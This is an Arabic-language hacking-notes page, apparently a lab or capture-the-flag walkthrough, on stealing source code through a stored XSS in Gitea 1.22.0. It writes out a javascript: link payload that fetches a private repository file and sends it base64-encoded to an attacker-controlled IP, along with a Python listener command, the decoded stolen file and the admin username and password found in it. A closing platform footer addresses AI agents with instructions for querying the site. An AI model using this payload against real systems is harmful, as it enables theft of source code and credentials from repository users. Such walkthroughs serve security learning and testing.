> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).

# سرقة الشيفرة المصدرية عبر XSS

### ثغرة XSS على Gitea (v1.22.0)

مفعّل `http://localhost:3000` -> **Gitea** يمكن الوصول إليها.

<figure><img src="/files/ea59f80670c326b9be017c160e8d67e15ec87ae5" alt=""><figcaption></figcaption></figure>

اتصال باستخدام بيانات اعتماد Axel.

<figure><img src="/files/1536ad59beffc94e057f44b5e7bca1ca55645cea" alt=""><figcaption></figcaption></figure>

ثغرة XSS معروفة.

<figure><img src="/files/fd2ee16144e4c57441a3abedec9b180ac8683eb1" alt=""><figcaption></figcaption></figure>

ننشئ مشروعًا بوصف يحتوي على:

```bash
<a href=javascript:alert()>اختبار XSS</a>

```

<figure><img src="/files/2ed010f06f614427eb7a4964d3c3ace57f0cdddb" alt=""><figcaption></figcaption></figure>

* النتيجة:

<figure><img src="/files/7a2132d7e3643d44c1240c2f84397f04361f092a" alt=""><figcaption></figcaption></figure>

### تم اعتراض البريد عبر LinPEAS

<figure><img src="/files/223f6a883dce063559013f6d052d5382ca83867d" alt=""><figcaption></figcaption></figure>

محتوى رسالة بريد إلكتروني:

* يجب على jobert\@localhost التحقق من مستودع Gitea

<figure><img src="/files/e9397599a69be800480e4663bc50f2ae061d857e" alt=""><figcaption></figcaption></figure>

نرسل رابط XSS يحتوي على سكربت لاستخراج البيانات يقرأ محتوى الصفحة `index.php` من مستودع Gitea، ويُشفّره بصيغة Base64، ثم يرسله إلى خادم الويب الخاص بنا

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">تم الاختراق</a>

```

{% endcode %}

<figure><img src="/files/418786ccb1b0a21b572ef34e0268e6a2c1d4c7be" alt=""><figcaption></figcaption></figure>

#### عبر خادم الويب الخاص بنا

```bash
python -m http.server 8080

```

<figure><img src="/files/11d81749e4e97bea40d36798adb790ba744af969" alt=""><figcaption></figcaption></figure>

#### المحتوى المستخرج (بعد فك ترميز Base64):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d

```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/3bd547245aaaa0331bda8fbc1be2701d672db065" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
